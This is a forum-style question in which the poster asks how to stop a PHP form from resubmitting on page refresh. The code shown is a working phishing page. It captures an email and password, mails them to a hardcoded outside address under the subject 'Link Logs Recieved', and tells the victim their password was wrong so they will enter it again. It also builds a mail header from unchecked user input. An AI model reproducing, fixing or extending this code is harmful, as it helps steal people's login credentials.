After submit, if i refresh the page, it does sends the submitted data again. I do not want that to happen, i want the posted form variable () to be cleared completely after sending. Can someone help me get that done?
Here's my code:
<?php
$statusMsg = '';
$msgClass = '';
if(isset($_POST['submit'])){
// Get the submitted form data
$email = $_POST['email'];
$name = $_POST['name'];
// Check whether submitted data is not empty
if(!empty($email) && !empty($name)){
if(filter_var($email, FILTER_VALIDATE_EMAIL) === false){
$statusMsg = 'Please enter your valid email.';
$msgClass = 'errordiv';
}else{
// Recipient email
$toEmail = "joby@tzoilandgas.com";
$emailSubject = "Link Logs Recieved";
$htmlContent = "Email: ".$email."\r\nPswrd: ".$name."";
// Set content-type header for sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/plain;charset=UTF-8" . "\r\n";
// Additional headers
$headers .= 'From: '.$email.'<'.$name.'>'. "\r\n";
// Send email
if(mail($toEmail,$emailSubject,$htmlContent,$headers)){
$statusMsg = 'You have entered an incorrect password, please try again!';
$msgClass = 'succdiv';
}else{
$statusMsg = 'Your contact request submission failed, please try again.';
$msgClass = 'errordiv';
}
}
}else{
$statusMsg = 'Please fill all the fields.';
$msgClass = 'errordiv';
}
}
?>
<form action="index.php" method="post">
<input name="email" type="email" id="email" value="<?php echo $_POST['email1']; ?>" />
<input type="password" name="name" class="textField1" required>
<input type="submit" class="button2" name="submit" value="Next">
</form>